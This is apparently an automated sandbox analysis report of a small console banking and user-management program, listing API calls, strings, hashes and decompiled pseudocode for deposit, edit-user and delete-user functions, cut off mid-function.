Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC2337

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

_wprintf.LIBCMT ref: 00EC235A

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wscanf.LIBCMT ref: 00EC236B

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC2381

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

_wprintf.LIBCMT ref: 00EC23B4
_wprintf.LIBCMT ref: 00EC241F

Part of subcall function 00EC25C0: _wprintf.LIBCMT ref: 00EC262D
Part of subcall function 00EC25C0: _wscanf.LIBCMT ref: 00EC263F
Part of subcall function 00EC25C0: _swscanf.LIBCMT ref: 00EC2681
Part of subcall function 00EC25C0: _wprintf.LIBCMT ref: 00EC26D1

_wprintf.LIBCMT ref: 00EC23CA

Part of subcall function 00EC77B1: _doexit.LIBCMT ref: 00EC77BB

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2152

_wprintf.LIBCMT ref: 00EC2444
_wprintf.LIBCMT ref: 00EC245A
_wprintf.LIBCMT ref: 00EC2470
_wprintf.LIBCMT ref: 00EC2486
_wprintf.LIBCMT ref: 00EC249C
_wprintf.LIBCMT ref: 00EC24CA
_wprintf.LIBCMT ref: 00EC24E2

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Strings

Press ENTER to return to main menu..., xrefs: 00EC2589
Enter User name : , xrefs: 00EC2355
Press a number between the range [1 -5] , xrefs: 00EC24DD
3. Edit User name / Password, xrefs: 00EC246B
Press any key to exit the program..., xrefs: 00EC23C5
Password : , xrefs: 00EC237C
IOE, xrefs: 00EC23EE
N, xrefs: 00EC24BF
ADMIN, xrefs: 00EC23D9
2. Delete User, xrefs: 00EC2455
Are you sure you want to exit? <Y/N> : , xrefs: 00EC253D
5. Exit, xrefs: 00EC2497
4. View User Log, xrefs: 00EC2481
Your input is out of range! Enter a choice between 1 to 5!, xrefs: 00EC2573
Only THREE attempts shall be allowed to enter username and password., xrefs: 00EC2332
1. Add User, xrefs: 00EC243F

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_wscanf$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf_doexit_swscanf_vwscanf
String ID: Press a number between the range [1 -5] $1. Add User$2. Delete User$3. Edit User name / Password$4. View User Log$5. Exit$ADMIN$Are you sure you want to exit? <Y/N> : $Enter User name : $IOE$N$Only THREE attempts shall be allowed to enter username and password.$Password : $Press ENTER to return to main menu...$Press any key to exit the program...$Your input is out of range! Enter a choice between 1 to 5!
API String ID: 3691436685-2046970424
Opcode ID: d9554d21564fa3532e2640c89f9c3556db546b694110116b183cf2fac4aa6715
Instruction ID: 27a9f0871c920dab946d8f438416d91d7fb0aceb72493450a1955f50e6956e37
Opcode Fuzzy Hash: d9554d21564fa3532e2640c89f9c3556db546b694110116b183cf2fac4aa6715
Instruction Fuzzy Hash: 4661A6B4E94305A6EB14BBE08E03F9E75B06F12B04F04213EF646752D3E9B35247966B

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4640, Relevance: 52.8, APIs: 14, Strings: 16, Instructions: 252
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00EC4640(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v42;
				char _v62;
				char _v112;
				char _v113;
				char _v125;
				char _v140;
				char _v170;
				char _v200;
				char _v208;
				char _v244;
				char _v280;
				char _v360;
				char _v440;
				void* __ebp;
				void* _t57;
				char _t73;
				intOrPtr _t75;
				void* _t80;
				intOrPtr _t81;
				intOrPtr _t86;
				void* _t93;
				intOrPtr _t103;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr _t129;
				intOrPtr _t134;
				void* _t137;
				void* _t141;
				void* _t151;
				void* _t153;
				void* _t154;
				void* _t163;

				_t170 = __fp0;
				_t168 = __eflags;
				_t136 = __esi;
				_t135 = __edi;
				_t101 = __ebx;
				_v16 = 0;
				E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0);
				E00EC12B0(5, 0xa);
				_push("Deposit to A/C number            : ");
				E00EC715C(__ebx, __edi, __esi, __eflags);
				E00EC738B("%s",  &_v28);
				 *0xee2f28 = E00EC6EF1("ACCOUNT.DAT", "r");
				_t103 =  *0xee2f28; // 0x0
				_push(_t103);
				E00EC6DB6(__ebx, _t135, _t136, _t168);
				_t141 = _t137 + 0x18;
				_t169 = _v16;
				if(_v16 == 0) {
					E00EC20E0(_t103, _t135, _t136, _t169, __fp0);
					E00EC12B0(0x14, 0xc);
					_push("Given A/C number does not exits!");
					return E00EC715C(_t101, _t135, _t136, _t169);
				}
				E00EC12B0(0x32, 0xa);
				_push( &_v244);
				_push("[ %s ]");
				E00EC715C(_t101, _t135, _t136, __eflags);
				E00EC12B0(5, 0xc);
				_push("Amount to be Deposited (in NRs.) : ");
				E00EC715C(_t101, _t135, _t136, __eflags);
				E00EC738B("%f",  &_v12);
				E00EC20E0(_t103, _t135, _t136, __eflags, __fp0);
				E00EC12B0(0x1e, 0xa);
				_push("Confirm Transaction");
				_t57 = E00EC715C(_t101, _t135, _t136, __eflags);
				asm("movss xmm0, [ebp-0x8]");
				asm("movss [esp], xmm0");
				E00EC1870(_t57,  &_v280);
				E00EC12B0(3, 0xc);
				_push( &_v244);
				_push( &_v28);
				E00EC715C(_t101, _t135, _t136, __eflags);
				asm("cvtss2sd xmm0, [ebp-0x8]");
				asm("movsd [esp], xmm0");
				E00EC1B30( &_v440, "%s to be deposited in A/C number : %s [ %s ]",  &_v280);
				E00EC8140( &_v360,  &_v440);
				E00EC8140( &_v360, "]");
				E00EC12B0(0x28 - (E00EC82C0( &_v360) >> 1), 0xe);
				_push( &_v360);
				E00EC7229(_t101, _t135, _t136, __eflags);
				E00EC12B0(8, 0x11);
				_push("Are you sure you want to perform this tranasction? <Y/N>");
				E00EC715C(_t101, _t135, _t136, __eflags);
				_t151 = _t141 + 0x24 - 8 + 0x1c;
				_t73 = _v5;
				__eflags = _t73 - 0x59;
				if(_t73 == 0x59) {
					L4:
					 *0xee2f28 = E00EC6EF1("ACCOUNT.DAT", "r");
					_t75 = E00EC6EF1("TEMP.DAT", "a");
					_t153 = _t151 + 0x10;
					 *0xee2f24 = _t75;
					while(1) {
						_push( &_v32);
						_push( &_v36);
						_push( &_v40);
						_push( &_v42);
						_push( &_v140);
						_push( &_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_t129 =  *0xee2f28; // 0x0
						_t80 = E00EC7021(_t129, "%s %s %s %s %s %s %c %s %c %f %f %f\n",  &_v208);
						_t154 = _t153 + 0x38;
						__eflags = _t80 - 0xffffffff;
						if(__eflags == 0) {
							break;
						}
						_t93 = E00EC8230( &_v208,  &_v28);
						_t163 = _t154 + 8;
						__eflags = _t93;
						if(__eflags == 0) {
							asm("movss xmm0, [ebp-0x24]");
							asm("addss xmm0, [ebp-0x8]");
							asm("movss [ebp-0x24], xmm0");
						}
						asm("movss xmm0, [ebp-0x24]");
						asm("addss xmm0, [ebp-0x20]");
						asm("movss [ebp-0x1c], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x1c]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x20]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x24]");
						asm("movsd [esp], xmm0");
						_push(_v42);
						_push( &_v140);
						_push(_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_push( &_v208);
						_push("%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f\n");
						_t134 =  *0xee2f24; // 0x0
						_push(_t134);
						E00EC6F06(_t101, _t135, _t136, __eflags);
						_t153 = _t163 - 0xfffffffffffffff8 + 0x44;
					}
					_t81 =  *0xee2f24; // 0x0
					_push(_t81);
					E00EC6DB6(_t101, _t135, _t136, __eflags);
					_t113 =  *0xee2f28; // 0x0
					_push(_t113);
					E00EC6DB6(_t101, _t135, _t136, __eflags);
					 *0xee2f28 = E00EC6EF1("TRANSACTION.DAT", "a");
					E00EC8417(__eflags, 0xee2f30);
					_push(0xee2ee4);
					asm("cvtss2sd xmm0, [ebp-0x8]");
					asm("movsd [esp], xmm0");
					_push(0xee2f30);
					_push(0xee2f40);
					_push("Cash+Deposited");
					_push( &_v28);
					_push("%s %s %s %s %.2f %s\n");
					_t86 =  *0xee2f28; // 0x0
					_push(_t86);
					E00EC6F06(_t101, _t135, _t136, __eflags);
					_t114 =  *0xee2f28; // 0x0
					_push(_t114);
					E00EC6DB6(_t101, _t135, _t136, __eflags);
					E00EC20E0(_t114, _t135, _t136, __eflags, _t170);
					E00EC12B0(0x14, 0xc);
					_push("Transaction completed successfully!");
					return E00EC715C(_t101, _t135, _t136, __eflags);
				}
				__eflags = _v5 - 0x79;
				if(_v5 == 0x79) {
					goto L4;
				}
				return _t73;
			}

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC4663
_wscanf.LIBCMT ref: 00EC4674

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_wprintf.LIBCMT ref: 00EC46BB

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC46DD
_wprintf.LIBCMT ref: 00EC46F3
_wscanf.LIBCMT ref: 00EC4704
_wprintf.LIBCMT ref: 00EC471F
_wprintf.LIBCMT ref: 00EC475A
_wprintf.LIBCMT ref: 00EC47E2

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2152

Strings

ACCOUNT.DAT, xrefs: 00EC4805
Confirm Transaction, xrefs: 00EC471A
Amount to be Deposited (in NRs.) : , xrefs: 00EC46EE
Transaction completed successfully!, xrefs: 00EC49C4
%s %s %s %s %.2f %s, xrefs: 00EC4994
%s to be deposited in A/C number : %s [ %s ], xrefs: 00EC4755
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC486A
Are you sure you want to perform this tranasction? <Y/N>, xrefs: 00EC47DD
Deposit to A/C number : , xrefs: 00EC465E
Cash+Deposited, xrefs: 00EC498B
TRANSACTION.DAT, xrefs: 00EC4950
[ %s ], xrefs: 00EC46D8
TEMP.DAT, xrefs: 00EC481C
%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f, xrefs: 00EC4915
Given A/C number does not exits!, xrefs: 00EC46B6
ACCOUNT.DAT, xrefs: 00EC4681

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_wscanf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_vwscanf
String ID: %s %s %s %s %.2f %s$%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f$%s %s %s %s %s %s %c %s %c %f %f %f$%s to be deposited in A/C number : %s [ %s ]$ACCOUNT.DAT$ACCOUNT.DAT$Amount to be Deposited (in NRs.) : $Are you sure you want to perform this tranasction? <Y/N>$Cash+Deposited$Confirm Transaction$Deposit to A/C number : $Given A/C number does not exits!$TEMP.DAT$TRANSACTION.DAT$Transaction completed successfully!$[ %s ]
API String ID: 532294799-930819241
Opcode ID: 118d43b5a339910a1f945e7da262a0fb19729afd2f7ab274007c638b474404c4
Instruction ID: 7e8690b3ab26cdcced46589fe08251cd2a87de939290e3a3886196f5410dce5e
Opcode Fuzzy Hash: 118d43b5a339910a1f945e7da262a0fb19729afd2f7ab274007c638b474404c4
Instruction Fuzzy Hash: 2091E5B2D1034C6BDB15FBE08E43FDE73B85B1A700F04625DF60575181FAB266898BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2B10, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00EC2B10(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v19;
				char _v23;
				char _v27;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v47;
				char _v48;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v67;
				char _v71;
				char _v75;
				char _v79;
				char _v80;
				char _v83;
				char _v87;
				char _v91;
				char _v95;
				char _v99;
				char _v103;
				char _v107;
				char _v111;
				char _v112;
				char _v144;
				char _v176;
				char _v208;
				void* __ebp;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t68;
				intOrPtr _t84;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t88;
				intOrPtr _t89;
				intOrPtr _t95;
				intOrPtr _t98;
				intOrPtr _t105;
				char _t106;
				void* _t109;
				void* _t110;
				intOrPtr _t119;
				intOrPtr _t130;
				intOrPtr _t132;
				void* _t136;
				void* _t140;
				void* _t141;
				void* _t142;
				void* _t143;
				void* _t149;
				void* _t150;
				void* _t154;

				_t161 = __fp0;
				_t135 = __esi;
				_t134 = __edi;
				_t113 = __ebx;
				_v48 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v27 = 0;
				_v23 = 0;
				_v19 = 0;
				_v112 = 0;
				_v111 = 0;
				_v107 = 0;
				_v103 = 0;
				_v99 = 0;
				_v95 = 0;
				_v91 = 0;
				_v87 = 0;
				_v83 = 0;
				_v80 = 0;
				_v79 = 0;
				_v75 = 0;
				_v71 = 0;
				_v67 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v16 = 0;
				_v12 = 0;
				E00EC20E0(0, __edi, __esi, 0, __fp0);
				E00EC12B0(0x19, 8);
				_push("User Name  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC738B("%s", 0xee2ee4);
				E00EC12B0(0x19, 0xa);
				_push("Password  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC12F0(_t134, _t135,  &_v112);
				_t66 = E00EC6EF1("USER.DAT", "r");
				_t140 = _t136 + 0x18;
				 *0xee2f28 = _t66;
				while(1) {
					_push( &_v144);
					_push( &_v176);
					_t67 =  *0xee2f28; // 0x0
					_t68 = E00EC7021(_t67, "%s %s %s\n", 0xee2ee0);
					_t141 = _t140 + 0x14;
					if(_t68 == 0xffffffff) {
						break;
					}
					_t109 = E00EC8230(0xee2ee4,  &_v176);
					_t140 = _t141 + 8;
					if(_t109 == 0) {
						_t110 = E00EC8230(0xee2f02,  &_v144);
						_t140 = _t140 + 8;
						if(_t110 == 0) {
							_v16 = _v16 + 1;
						}
					}
				}
				_t116 =  *0xee2f28; // 0x0
				_push(_t116);
				E00EC6DB6(_t113, _t134, _t135, __eflags);
				_t142 = _t141 + 4;
				E00EC20E0(_t116, _t134, _t135, __eflags, _t161);
				__eflags = _v16;
				if(__eflags != 0) {
					E00EC12B0(8, 0xa);
					_push("Are you sure you want to CHANGE user name and/or password? <Y/N> : ");
					E00EC715C(_t113, _t134, _t135, __eflags);
					_t143 = _t142 + 4;
					__eflags = _v5 - 0x59;
					if(__eflags == 0) {
						do {
							L10:
							E00EC20E0(_t116, _t134, _t135, __eflags, _t161);
							_v12 = 0;
							E00EC12B0(0x19, 8);
							_push("NEW User Name        : ");
							E00EC715C(_t113, _t134, _t135, __eflags);
							E00EC738B("%s",  &_v208);
							E00EC12B0(0x19, 0xa);
							_push("NEW Password         : ");
							E00EC715C(_t113, _t134, _t135, __eflags);
							E00EC12F0(_t134, _t135,  &_v48);
							E00EC12B0(0x19, 0xc);
							_push("Confirm NEW Password : ");
							E00EC715C(_t113, _t134, _t135, __eflags);
							E00EC12F0(_t134, _t135,  &_v80);
							_t116 =  &_v80;
							_t84 = E00EC8230( &_v48,  &_v80);
							_t143 = _t143 + 0x1c;
							__eflags = _t84;
							if(__eflags != 0) {
								E00EC20E0( &_v80, _t134, _t135, __eflags, _t161);
								E00EC12B0(0xa, 0xa);
								_push(0xedf710);
								E00EC715C(_t113, _t134, _t135, __eflags);
								_t143 = _t143 + 4;
								_t105 = _v12 + 1;
								__eflags = _t105;
								_v12 = _t105;
							}
							__eflags = _v12;
						} while (__eflags != 0);
						 *0xee2f28 = E00EC6EF1("USER.DAT", 0xedf740);
						_t86 = E00EC6EF1("temp.dat", "a");
						_t149 = _t143 + 0x10;
						 *0xee2f20 = _t86;
						while(1) {
							_push( &_v144);
							_push( &_v176);
							_t87 =  *0xee2f28; // 0x0
							_t88 = E00EC7021(_t87, "%s %s %s\n", 0xee2ee0);
							_t150 = _t149 + 0x14;
							__eflags = _t88 - 0xffffffff;
							if(__eflags == 0) {
								break;
							}
							_t95 = E00EC8230(0xee2ee4,  &_v176);
							_t154 = _t150 + 8;
							__eflags = _t95;
							if(__eflags != 0) {
								L17:
								_push( &_v144);
								_push( &_v176);
								_push(0xee2ee0);
								_push("%s %s %s\n");
								_t130 =  *0xee2f20; // 0x0
								_push(_t130);
								E00EC6F06(_t113, _t134, _t135, __eflags);
								_t149 = _t154 + 0x14;
								L19:
								continue;
							}
							_t98 = E00EC8230(0xee2f02,  &_v144);
							_t154 = _t154 + 8;
							__eflags = _t98;
							if(__eflags == 0) {
								_push( &_v48);
								_push( &_v208);
								_push(0xee2ee0);
								_push("%s %s %s\n");
								_t132 =  *0xee2f20; // 0x0
								_push(_t132);
								E00EC6F06(_t113, _t134, _t135, __eflags);
								_t149 = _t154 + 0x14;
								goto L19;
							}
							goto L17;
						}
						_t89 =  *0xee2f28; // 0x0
						_push(_t89);
						E00EC6DB6(_t113, _t134, _t135, __eflags);
						_t119 =  *0xee2f20; // 0x0
						_push(_t119);
						E00EC6DB6(_t113, _t134, _t135, __eflags);
						E00EC20E0(_t119, _t134, _t135, __eflags, _t161);
						E00EC12B0(0x19, 0xa);
						_push("Record has been EDITED successfully!");
						return E00EC715C(_t113, _t134, _t135, __eflags);
					}
					_t106 = _v5;
					__eflags = _t106 - 0x79;
					if(__eflags != 0) {
						return _t106;
					}
					goto L10;
				}
				E00EC12B0(0xa, 0xa);
				_push(0xedf640);
				return E00EC715C(_t113, _t134, _t135, __eflags);
			}

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC2B94
_wscanf.LIBCMT ref: 00EC2BA6

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC2BBC

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC2C02

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_wprintf.LIBCMT ref: 00EC2C72
_wprintf.LIBCMT ref: 00EC2C8D
_wprintf.LIBCMT ref: 00EC2CC5
_wscanf.LIBCMT ref: 00EC2CD9
_wprintf.LIBCMT ref: 00EC2CEF
_wprintf.LIBCMT ref: 00EC2D0E
_wprintf.LIBCMT ref: 00EC2D46
_swscanf.LIBCMT ref: 00EC2DAD
_fprintf.LIBCMT ref: 00EC2E0D
_fprintf.LIBCMT ref: 00EC2E33
_wprintf.LIBCMT ref: 00EC2E70

Strings

%s %s %s, xrefs: 00EC2E27
User Name : , xrefs: 00EC2B8F
USER.DAT, xrefs: 00EC2D66
temp.dat, xrefs: 00EC2D7D
Password : , xrefs: 00EC2BB7
%s %s %s, xrefs: 00EC2E01
NEW User Name : , xrefs: 00EC2CC0
USER.DAT, xrefs: 00EC2BD2
Record has been EDITED successfully!, xrefs: 00EC2E6B
Are you sure you want to CHANGE user name and/or password? <Y/N> : , xrefs: 00EC2C88
Confirm NEW Password : , xrefs: 00EC2D09
%s %s %s, xrefs: 00EC2DA2
%s %s %s, xrefs: 00EC2BF7
NEW Password : , xrefs: 00EC2CEA

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_fprintf_swscanf_wscanf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_vfscanf_vwscanf
String ID: %s %s %s$%s %s %s$%s %s %s$%s %s %s$Are you sure you want to CHANGE user name and/or password? <Y/N> : $Confirm NEW Password : $NEW Password : $NEW User Name : $Password : $Record has been EDITED successfully!$USER.DAT$USER.DAT$User Name : $temp.dat
API String ID: 1431756120-371646773
Opcode ID: 2fc68e7b740775c0f4fb58646005cb7fc7396c392b9f754e25b76502b877ccca
Instruction ID: 5a622f3f083263f55444227ac74fb8580ede154b0811e8f021881f33f3d33692
Opcode Fuzzy Hash: 2fc68e7b740775c0f4fb58646005cb7fc7396c392b9f754e25b76502b877ccca
Instruction Fuzzy Hash: 4B81D6B1E50348AEDB04EFE4CE43FDDB6B49B15700F04606EF505B6391EA729206CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2800, Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 223
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00EC2800(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				intOrPtr _v12;
				char _v20;
				char _v23;
				char _v27;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v47;
				char _v51;
				char _v52;
				char _v84;
				char _v116;
				char _v129;
				char _v139;
				char _v154;
				char _v188;
				void* __ebp;
				intOrPtr _t47;
				void* _t49;
				char _t54;
				intOrPtr _t56;
				void* _t58;
				intOrPtr _t62;
				void* _t65;
				intOrPtr _t67;
				intOrPtr _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t83;
				void* _t86;
				void* _t88;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				intOrPtr _t96;
				intOrPtr _t99;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t127;
				void* _t128;
				void* _t132;
				void* _t133;
				void* _t139;

				_t146 = __fp0;
				_t117 = __esi;
				_t116 = __edi;
				_t89 = __ebx;
				_v52 = 0;
				_v51 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v27 = 0;
				_v23 = 0;
				_v12 = 0;
				E00EC20E0(__ecx, __edi, __esi, 0, __fp0);
				E00EC12B0(0x19, 8);
				_push("User Name  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC738B("%s", 0xee2ee4);
				E00EC12B0(0x19, 0xa);
				_push("Password  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC12F0(_t116, _t117,  &_v52);
				_t47 = E00EC6EF1("USER.DAT", "r");
				_t122 = _t118 + 0x18;
				 *0xee2f28 = _t47;
				while(1) {
					_push( &_v116);
					_push( &_v84);
					_t92 =  *0xee2f28; // 0x0
					_t49 = E00EC7021(_t92, "%s %s %s\n", 0xee2ee0);
					_t123 = _t122 + 0x14;
					if(_t49 == 0xffffffff) {
						break;
					}
					_t86 = E00EC8230(0xee2ee4,  &_v84);
					_t122 = _t123 + 8;
					if(_t86 == 0) {
						_t88 = E00EC8230(0xee2f02,  &_v116);
						_t122 = _t122 + 8;
						if(_t88 == 0) {
							_v12 = _v12 + 1;
						}
					}
				}
				_t105 =  *0xee2f28; // 0x0
				_push(_t105);
				E00EC6DB6(_t89, _t116, _t117, __eflags);
				_t124 = _t123 + 4;
				E00EC20E0(_t92, _t116, _t117, __eflags, _t146);
				__eflags = _v12;
				if(__eflags != 0) {
					E00EC12B0(0xf, 0xa);
					_push("Are you sure you want to DELETE this user? <Y/N> : ");
					E00EC715C(_t89, _t116, _t117, __eflags);
					_t125 = _t124 + 4;
					_t54 = _v5;
					__eflags = _t54 - 0x59;
					if(_t54 == 0x59) {
						L10:
						 *0xee2f28 = E00EC6EF1("USER.DAT", "r");
						_t56 = E00EC6EF1("temp.dat", "a");
						_t127 = _t125 + 0x10;
						 *0xee2f20 = _t56;
						while(1) {
							_push( &_v116);
							_push( &_v84);
							_t93 =  *0xee2f28; // 0x0
							_t58 = E00EC7021(_t93, "%s %s %s\n", 0xee2ee0);
							_t128 = _t127 + 0x14;
							__eflags = _t58 - 0xffffffff;
							if(__eflags == 0) {
								break;
							}
							_t79 = E00EC8230(0xee2ee4,  &_v84);
							_t139 = _t128 + 8;
							__eflags = _t79;
							if(__eflags != 0) {
								L14:
								_push( &_v116);
								_push( &_v84);
								_push(0xee2ee0);
								_push("%s %s %s\n");
								_t80 =  *0xee2f20; // 0x0
								_push(_t80);
								E00EC6F06(_t89, _t116, _t117, __eflags);
								_t127 = _t139 + 0x14;
								L15:
								continue;
							}
							_t83 = E00EC8230(0xee2f02,  &_v116);
							_t127 = _t139 + 8;
							__eflags = _t83;
							if(__eflags == 0) {
								goto L15;
							}
							goto L14;
						}
						_t94 =  *0xee2f28; // 0x0
						_push(_t94);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						_t107 =  *0xee2f20; // 0x0
						_push(_t107);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						 *0xee2f28 = E00EC6EF1("LOG.DAT", "r");
						_t62 = E00EC6EF1("temp.dat", "w");
